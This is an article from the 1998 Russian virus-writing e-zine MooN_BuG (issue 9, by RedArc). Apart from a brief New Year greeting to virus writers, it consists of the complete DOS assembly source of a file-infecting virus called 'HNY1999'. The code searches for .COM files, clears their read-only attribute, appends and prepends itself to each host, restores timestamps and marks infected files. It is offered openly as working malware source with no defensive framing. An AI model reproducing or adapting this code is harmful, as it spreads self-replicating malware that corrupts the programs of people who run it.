[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998                                           file 009

                                Вирус HNY1999
                                              by RedArc

Поздравляю  всех  вирмейкеров  и  вирусологов  с Новым 1999 годом!

Model Tiny
.286
.code
org 100h
start:
       pusha
       mov bp,ProgLength+100h
       mov dx,bp
       add dx,EndeLength + (2*VirLength)
       mov di,dx
       mov ah,1ah
       int 21h
       mov al,'*'
       stosb
       mov al,'.'
       stosb
       mov al,'c'
       stosb
       mov al,'O'
       stosb
       mov al,'m'
       stosb
       mov al,0
       stosb
       mov ah,4eh
       mov cx,0feh
LBL1:
       int 21h
       jb LBL2
       jmp LBL3
LBL2:
       mov ah,1ah
       mov dx,80h
       int 21h
       push bp
       ret
LBL3:
       mov ah,2fh
       int 21h
       xchg bx,di
       mov dx,di
       add dx,1eh
       mov ax,4300h
       int 21h
       cmp cx,1
       jne LBL5
LBL3_1:
       mov ax,5701h
       mov cx,word ptr ds:[di+16h]
       mov dx,word ptr ds:[di+18h]
       int 21h
       mov ah,3eh
       int 21h
       mov ax,4301h
       mov dx,di
       add dx,1eh
       mov cx,1
       int 21h
LBL4:
       mov ah,4fh
       jmp LBL1
LBL5:
       mov ax,3d02h
       int 21h
       xchg bx,ax
       mov ax,4202h
       xor cx,cx
       xor dx,dx
       int 21h
       cmp ax,0ffffh-(3*VirLength)
       jnb LBL3_1
       cmp ax,(2*VirLength)
       jb LBL3_1
       inc ah
       mov word ptr ds:[102h],ax
       mov ah,40h
       mov dx,EndeOfs+100h
       mov cx,EndeLength
       int 21h
       mov ax,4200h
       xor cx,cx
       xor dx,dx
       int 21h
       mov ah,3fh
       mov dx,bp
       add dx,EndeLength + VirLength
       mov cx,VirLength
       int 21h
       mov ax,4202h
       xor cx,cx
       xor dx,dx
       int 21h
       mov ah,40h
       mov dx,bp
       add dx,EndeLength + VirLength
       mov cx,VirLength
       int 21h
       mov ax,4200h
       xor cx,cx
       xor dx,dx
       int 21h
       mov ah,40h
       xor dx,dx
       inc dh
       mov cx,VirLength
       int 21h
       jmp LBL3_1
db 'С Новым 1999 годом!'
EndeLBL:
EndeOfs equ $-start
       cld
       mov si,bp
       mov di,100h
       add si,EndeLength
       mov cx,VirLength
       rep movsb
       popa
       push si
       ret
EndeLength equ $-EndeLBL
VirLength equ $-start
db 100h dup (90h)
       ret
ProgLength equ $-start
       cld
       mov si,bp
       mov di,100h
       add si,EndeLength
       mov cx,VirLength
       rep movsb
       popa
       push si
       ret
db VirLength dup (90h)
end start